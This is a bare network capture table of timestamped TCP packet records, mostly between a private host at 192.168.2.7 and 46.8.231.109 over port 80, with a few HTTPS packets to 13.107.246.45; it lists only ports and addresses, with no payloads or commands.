Oct 7, 2024 19:33:21.554642916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554655075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554666996 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554668903 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554677963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554694891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554707050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554718018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554723978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554723978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554724932 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554729939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554743052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554754972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554765940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554774046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554774046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554778099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554789066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554800987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554804087 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.554804087 CEST	49770	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.554804087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554812908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554821014 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.554825068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554826021 CEST	443	49770	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.554833889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554846048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554857969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554868937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554868937 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554869890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554881096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554893970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554893970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554907084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.554953098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.554953098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555294037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555306911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555316925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555340052 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555351973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555351973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555357933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555371046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555389881 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555403948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555404902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555404902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555414915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555427074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555428982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555428982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555438995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555449963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555459976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555484056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555484056 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555497885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555505037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555516958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555527925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555543900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555545092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555557013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555569887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555618048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555618048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555618048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555654049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555665970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555676937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555687904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555699110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555710077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555720091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555727005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555727005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555727005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555732012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555744886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555754900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555773020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555784941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555788040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555788040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555803061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555804014 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555818081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555830956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555833101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555843115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555854082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555860043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555866003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555877924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555885077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555890083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555902004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555908918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555908918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555913925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555923939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555927038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555939913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555953979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.555959940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555973053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555984020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.555995941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556000948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556003094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556003094 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556013107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556025028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556035995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556046009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556058884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556070089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556076050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556076050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556077003 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556082010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556092978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556104898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556116104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556116104 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556117058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556129932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556143045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556147099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556159973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556166887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556174994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556185961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556197882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556231022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556231022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556231022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556327105 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556417942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556469917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556513071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556525946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556538105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556550026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556581020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556581020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556581020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556596994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.556623936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556623936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.556680918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557082891 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557212114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557223082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557235956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557279110 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557279110 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557312012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557322979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557333946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557339907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557346106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557374001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557385921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557394981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557394981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557394981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557394981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557399035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557413101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557435989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557466984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557466984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557466984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557511091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557512999 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557523966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557537079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557552099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557563066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557563066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557563066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557574987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557586908 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557589054 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557600975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557605028 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557614088 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557627916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557645082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557645082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557830095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557871103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557878017 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557884932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557949066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557949066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.557955980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557969093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557980061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.557992935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558012962 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558012962 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558032036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558058023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558075905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558087111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558093071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558108091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558115005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558125973 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558137894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558149099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558161020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558171034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558171034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558171988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558192968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558196068 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558197021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558208942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558221102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558231115 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558249950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558286905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558286905 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558300972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558315992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558327913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558340073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558351040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558351040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558357000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558370113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558370113 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558383942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558392048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558398008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558408976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558432102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558432102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558448076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558454990 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558459997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558471918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558482885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558495045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558500051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558511972 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558526993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558530092 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558540106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558554888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558567047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558568954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558568954 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558581114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558604002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558609962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558617115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558618069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558624029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558629990 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.558651924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558651924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558696032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558696032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558708906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558721066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558737993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558748960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558773994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558785915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558785915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558785915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558787107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558785915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558800936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558814049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558845997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558870077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558871031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558871031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558871031 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558943033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558955908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558967113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558979988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558990002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559001923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.558999062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558999062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558999062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.558999062 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559077024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559079885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559079885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559079885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559091091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559134007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559144974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559156895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559168100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559181929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559237957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559237957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559237957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559237957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559248924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559268951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559282064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559292078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559298038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559303999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559314966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559330940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559371948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559389114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559400082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559417009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559403896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559403896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559403896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559427023 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.559428930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559439898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559451103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559463978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.559474945 CEST	80	49718	46.8.231.109	192.168.2.7
